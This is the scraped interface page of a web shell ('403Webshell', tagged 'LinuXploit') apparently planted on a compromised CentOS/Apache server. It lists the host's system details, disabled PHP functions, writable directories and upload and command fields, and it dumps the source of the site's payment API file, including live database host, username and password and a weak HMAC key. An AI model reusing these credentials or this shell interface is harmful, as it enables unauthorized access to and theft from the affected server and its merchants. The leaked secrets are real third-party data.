403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/b2b2c/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/b2b2c/api.php
<?php
	$dbh = new PDO("mysql:host=192.168.171.23;dbname=b2b2c_api", 'admin', 'PHac7dru');

	if (!function_exists('bind_pdo')) {
		function bind_pdo($sql, $parameters = NULL, $action = NULL, $escape = true, $_dbh=null)
		{
			if(empty($_dbh)){
				global $dbh;
			}else{
				$dbh = $_dbh;
			}

			if ($action == "insert" || $action == "update" || $action == "delete" || empty($action)) {
				if (!($sth = $dbh->prepare($sql))) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				if (!$sth->execute($parameters)) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}
			}

			if ($action == "selectone") {
				if (!($sth = $dbh->prepare($sql))) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				if (!$sth->execute($parameters)) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				$result = $sth->fetch(PDO::FETCH_ASSOC);
				/*if (!empty($result)) {
					foreach ($result as $key => $row) {
						$result[$key] = escape_string($result[$key]);
					}
				}*/
				return $result;

			}

			if ($action == "selectall") {
				if (!($sth = $dbh->prepare($sql))) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				if (!$sth->execute($parameters)) {
					throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
				}

				$result = $sth->fetchAll(PDO::FETCH_ASSOC);
				/*if (!empty($result)) {
					foreach ($result as $key => $row) {
						foreach ($row as $key2 => $row2) {
							$result[$key][$key2] = escape_string($result[$key][$key2]);
						}
					}
				}*/
				return $result;
			}

			if ($action == "dump") {
				return dump_sql($sql, $parameters);
			}

		}
	}

	if (!function_exists('insert_record')) {
		function insert_record($table_name, $data, $dump_sql = NULL)
		{
			$result = "";

			if (!empty($table_name) && !empty($data)) {
				$sql        = "insert into `" . $table_name . "` set ";
				$parameters = array();
				foreach ($data as $table_field => $value) {
					$sql .= "`" . $table_field . "` = ?, ";
					$parameters[] = $value;
				}

				$sql = substr_replace($sql, "", -2);
			}

			if (!empty($dump_sql)) {
				$result = dump_sql($sql, $parameters);
			} else {
				$result = bind_pdo($sql, $parameters);
			}

			return $result;
		}
	}

	if (!function_exists('update_record')) {
		function update_record($table_name, $data, $where, $dump_sql = NULL)
		{
			$result = "";

			if (!empty($table_name) && !empty($data)) {
				$sql        = "update `" . $table_name . "` set ";
				$parameters = array();
				foreach ($data as $table_field => $value) {
					$sql .= "`" . $table_field . "` = ?, ";
					$parameters[] = $value;
				}
				$sql = substr_replace($sql, "", -2);

				$sql .= " where " . $where["sql"];
				foreach ($where["parameters"] as $table_field => $value) {
					$parameters[] = $value;
				}

				if (!empty($dump_sql)) {
					$result = dump_sql($sql, $parameters);
				} else {
					$result = bind_pdo($sql, $parameters);
				}

			}

			return $result;
		}
	}

	if (!function_exists('dump_sql')) {
		function dump_sql($sql, $parameters)
		{
			$keys = array();

			# build a regular expression for each parameter
			foreach ($parameters as $key => $value) {
				if (is_string($key)) {
					$keys[] = '/:' . $key . '/';
				} else {
					$keys[] = '/[?]/';
				}
			}

			foreach ($parameters as $key2 => $value) {
				$parameters[$key2] = "'" . $value . "'";
			}

			$sql = preg_replace($keys, $parameters, $sql, 1, $count);

			#trigger_error('replaced '.$count.' keys');

			return $sql;
		}
	}

	if (!function_exists('debug_log')) {
		function debug_log($code, $data)
		{
			$date = new DateTime();
			$date->modify("-2 month");

			$sql        = "delete from debug_log where createdate <= ?";
			$parameters = array($date->format("Y-m-d"));
			bind_pdo($sql, $parameters);

			$sql        = "insert into debug_log (code, log_data, createdate) value (?,?,?)";
			$parameters = array($code, json_encode($data), date("Y-m-d H:i:s"));
			bind_pdo($sql, $parameters);
		}
	}

	//include 'webadmin/libraies/autoload.php';

	/*
	 * https://github.com/klein/klein.php
	 * composer require klein/klein
	 *
	 * api list:
	 * - payease settlement
	 * - merchant application result
	 */

	function _msg_sign($text, $key = "test")
	{
		return hash_hmac('md5', $text, $key);
	}

	/*
	 * v_mid 商戶編號
	 * v_subid 子商戶編號
	 * v_auditstatus 審核狀態
	 * v_auditstatusdesc 審核結果說明
	 * v_mac 數字指紋
	 *
	 */

	/*$_REQUEST["v_mid"]         = 10903;
	$_REQUEST["v_subid"]       = 1;
	$_REQUEST["v_auditstatus"] = 1;*/

	insert_record('api_log', array('api' => 'merchant application', 'data' => json_encode(array($_REQUEST))));

	$v_mid             = $_REQUEST["v_mid"];
	$v_subid           = $_REQUEST["v_subid"];
	$v_auditstatus     = $_REQUEST["v_auditstatus"];
	$v_auditstatusdesc = $_REQUEST["v_auditstatusdesc"];
	$v_mac             = $_REQUEST["v_mac"];

	function hmac($key, $data)
	{
		// 创建 md5的HMAC

		$b = 64; // md5加密字节长度
		if (strlen($key) > $b) {
			$key = pack("H*", md5($key));
		}
		$key    = str_pad($key, $b, chr(0x00));
		$ipad   = str_pad('', $b, chr(0x36));
		$opad   = str_pad('', $b, chr(0x5c));
		$k_ipad = $key ^ $ipad;
		$k_opad = $key ^ $opad;

		return md5($k_opad . pack("H*", md5($k_ipad . $data)));
	}

	if (!empty($v_mid)) {
		$key  = 'test';//商户的密钥
		$data = $v_mid . $v_subid . $v_auditstatus;//七个参数的拼串

		//$data="error";
		$v_md5info = hmac($key, $data);

		header("Content-type: text/xml");

		echo '<?xml version="1.0" encoding="utf-8"?><message><status>0</status><statusdesc>success</statusdesc><mid>';
		echo $v_mid;
		echo '</mid><subid>';
		echo $v_subid;
		echo '</subid><auditstatus>';
		echo $v_auditstatus;
		echo '</auditstatus><mac>';
		echo $v_md5info;
		echo '</mac></message>';

	} else {
		header("Content-type: text/xml");
		echo '<?xml version="1.0" encoding="utf-8"?><message><status>1</status><statusdesc>other error</statusdesc></message>';
	}

Youez - 2016 - github.com/yon3zu
LinuXploit